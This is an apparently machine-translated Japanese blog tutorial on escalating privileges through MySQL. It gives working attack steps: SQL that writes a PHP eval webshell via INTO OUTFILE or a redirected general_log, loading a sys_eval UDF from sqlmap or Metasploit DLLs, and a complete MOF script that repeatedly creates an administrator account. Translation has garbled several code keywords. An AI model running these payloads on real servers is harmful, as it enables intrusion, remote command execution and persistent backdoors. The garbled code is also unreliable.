1. Webshellを書く出力ファイルにシェルを書き込む前提条件: 1. ウェブサイトの物理的なパスを知る 2. 高い権限を持つデータベースユーザー 3. load_file() が有効になっている、つまり secure_file_priv は無制限である 4. ウェブサイトのパスに書き込み権限がある まず、基本構文は、secure_file_privに制限がないかどうかを問い合わせます。 '%secure_file_priv%' のようなグローバル変数を表示します。
MySQL 5.5 より前では、 secure_file_priv はデフォルトで空でした。この場合、任意の絶対パスにファイルを書き込むことができました。 MySQL 5.5 以降では、 secure_file_priv のデフォルトは NULL に設定され、その場合、ファイルを書き込むことはできません。 上記の条件がすべて満たされている場合は、次の SQL ステートメントを使用してシェルに直接書き込むことができます。 '<?php @eval($_POST[cmd]); ?>' を出力ファイル 'C:\\soft\\WWW\\empirecms\\shell.php' に選択します。 ターゲットパスを確認し、shell.phpファイルが書き込まれていることを確認します。 上部包丁接続部 ログファイル書き込みシェル前提条件: 1. Webフォルダの緩い権限が書き込まれる可能性がある 2. ウィンドウ 3. MySQLまたはApacheを高い権限で実行する MySQL 5.0以降ではログファイルが作成されますが、ログのグローバル変数をgetshellに変更することで変更できます。 ログディレクトリを表示する 'general%' のような変数を表示します。 general_log はデフォルトで無効になっています。有効にすると、ユーザーが入力したすべてのコマンドが記録され、対応するログ ファイルに保存されます。 ログファイルの場所の変更 グローバル general_log を "ON" に設定します。 グローバル general_log_file を 'C:\\soft\\WWW\\empirecms\\log.php' に設定します。 現在のログ構成を表示する ターゲットディレクトリを確認し、log.phpファイルを書き込みます シェルに書き込む '<?php @eval($_POST[cmd]); ?>' を選択します 包丁で接続する 2. UDF 権限昇格カスタム関数は、データベース機能の拡張です。ユーザーはカスタム関数を使用して、MySQL では簡単に実装できない関数を実装できます。新しく追加された関数は、ネイティブ関数 version() を呼び出すのと同じように、SQL ステートメントで呼び出すことができます。 ダイナミック リンク ライブラリ MySQL のバージョンが 5.1 以上の場合、カスタム関数を作成する前に、UDF ダイナミック リンク ライブラリ ファイルを MySQL インストール ディレクトリの下の lib\plugin フォルダに配置する必要があります。 では、ダイナミック リンク ライブラリ ファイルはどこにありますか?実際、私たちがよく使用するツールである sqlmap と Metasploit には、対応するシステム用のダイナミック リンク ライブラリ ファイルが付属しています。 sqlmap UDF ダイナミック リンク ライブラリ ファイルの場所
ただし、sqlmap に含まれるこれらのダイナミック リンク ライブラリは、誤って強制終了されることを防ぐためにコーディングされており、直接使用することはできません。ただし、sqlmap に付属するデコード ツール cloak.py を使用してデコードすることができます。cloak.py の場所は、sqlmap ルート ディレクトリ/extra/cloak/cloak.py です。 デコード方法は次のとおりです。 32 ビット Windows ダイナミック リンク ライブラリのデコード:
他のLinuxおよびWindowsのダイナミックリンクライブラリのデコードも同様です または、デコードせずにmetasploitに付属するダイナミックリンクライブラリを直接使用する Metasploit UDF ダイナミック リンク ライブラリ ファイルの場所 次のタスクは、UDF ダイナミック リンク ライブラリ ファイルを MySQL プラグイン ディレクトリに配置することです。このディレクトリを見つけるにはどうすればよいでしょうか?次の SQL ステートメントを使用してクエリを実行できます。 '%plugin%' のような変数を表示する ダイナミックリンクライブラリの書き込み secure_file_privが無制限の場合、プラグインディレクトリに手動でファイルを書き込むことができます。 load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll') をダンプファイル 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll' に選択します。
カスタム関数を作成し、コマンドを呼び出す カスタム関数の作成 CREATE FUNCTION sys_eval は STRING SONAME 'udf.dll' を返します。 sys_evalが追加されているかどうかを確認する 次に、作成された関数を通じてシステム コマンドを実行できます。 カスタム関数の削除 関数 sys_eval を削除します。 3. MOF 権限昇格Mof 権限昇格原則 mof 権限昇格の原理は、実は非常に単純です。c:/windows/system32/wbem/mof/ ディレクトリの nullevt.mof ファイルを使用して、特定の時間に 1 分ごとに実行し、実行用の cmd コマンドを書き込みます。 厳格な前提条件: 1. Windows 03以下 2. mysqlの起動IDには、c:/windows/system32/wbem/mofディレクトリの読み取りと書き込みの権限があります。 3. secure-file-privパラメータがnullではない 権限昇格プロセス: MOF ファイルは 5 秒ごとに実行され、システム権限です。mysql を介して load_file を使用してファイルを /wbme/mof に書き込むと、システムはアップロードした MOF を 5 秒ごとに実行します。 MOF には vbs スクリプトがあります。この vbs スクリプトの内容を制御して、システムがコマンドを実行し、権限を昇格できるようにすることができます。 エクスプロイト コードは次のとおりです (test.mof): #pragma namespace("\\\\.\\root\\subscription") __EventFilter のインスタンスを $EventFilter として { イベント名前空間 = "Root\\Cimv2"; 名前 = "filtP2"; クエリ = "Select * From __InstanceModificationEvent" 「TargetInstance は \"Win32_LocalTime\" です」 「そして TargetInstance.Second = 5」; クエリ言語 = "WQL"; }; ActiveScriptEventConsumer のインスタンスを $Consumer として { 名前 = "consPCSV2"; スクリプトエンジン = "JScript"; スクリプトテキスト = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")"; }; __FilterToConsumerBinding のインスタンス { 消費者 = $Consumer; フィルター = $EventFilter; }; MOF ファイルの使用率: 上記のスクリプトを読み取りおよび書き込み権限のあるディレクトリにアップロードします。 ここではC:\soft\にアップロードし、SQL文を使用してファイルをc:/windows/system32/wbem/mof/にインポートします。
権限昇格を確認します。 mof のエクスポートに成功すると、mof が直接実行され、5 秒ごとにユーザーが作成されます。 MOF権限昇格のデメリットについて 権限の昇格に成功した後、アカウントが削除されたとしても、mof は 5 秒以内に元のアカウントを再構築します。これにより、テストを終了するのに大きな問題が発生するため、注意して使用してください。では、ハッキングされたアカウントを削除するにはどうすればいいのでしょうか? cmd で次のステートメントを実行します。 #winmgmt サービスを停止します net stop winmgmt #リポジトリフォルダを削除します rmdir /s /q C:\Windows\system32\wbem\Repository\ # mof ファイルを手動で削除します del c:/windows/system32/wbem/mof/nullevt.mof /F /S # 作成したユーザーを削除する net user hpdoger /delete #サービスを再起動しますnet start winmgmt 要約するこれで、MySQL 権限昇格手法に関するこの記事は終了です。MySQL 権限昇格手法の詳細については、123WORDPRESS.COM の以前の記事を検索するか、以下の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM をよろしくお願いいたします。 以下もご興味があるかもしれません:
|
<<: モバイル適応型ウェブページ効果は、小さな表示ページの問題を解決します
物件の詳細な説明transition 属性の目的は、一部の CSS プロパティ (背景など) をスム...
クリック時に背景色を生成する要素の CSS スタイルに次のコードを追加します。 -webkit-ta...
基本的な構文: <input type="hidden" name=&qu...
ワームは、その名前が示すように、自ら複製し、その数は倍増、つまり指数関数的に増加します。 MySQL...
目次序文アドバンテージ:欠点: 1. レスポンシブな使用効果2. ステータスが同期されていないRea...
MySQL データベースの増分バックアップを実行するには、データベース構成ファイル /etc/my....
目次使用シナリオ達成方法1. 動的コンポーネントを配置する場所2. コンポーネントのインスタンスを取...
社内には以前からアイドル状態だった、構成の整ったサーバーがあったので、EXSI 6.0 を使って複数...
目次簡単な紹介1. 現在のgccバージョンを確認する2. gccインストールパッケージ(バージョン1...
この記事では主に、フォント読み込みの最適化に関する一般的な戦略を紹介します。内容の大部分は参考資料と...
目次1. まずMySQLサーバーを停止する2. MySQLサーバーをアンインストールする3. MyS...
目次NIS の紹介ネットワーク環境: 1. 環境の準備(両方のノードが必要) 2.nisマスターサー...
vue を使用してプロジェクトを開発する場合、フロントエンドでは次のような日付と時刻を計算する必要が...
01. コマンドの概要dirname - ファイル名からディレクトリ以外のサフィックスを削除しますd...
時間差関数 TIMESTAMPDIFF と DATEDIFF の使用SQL ステートメント、特にスト...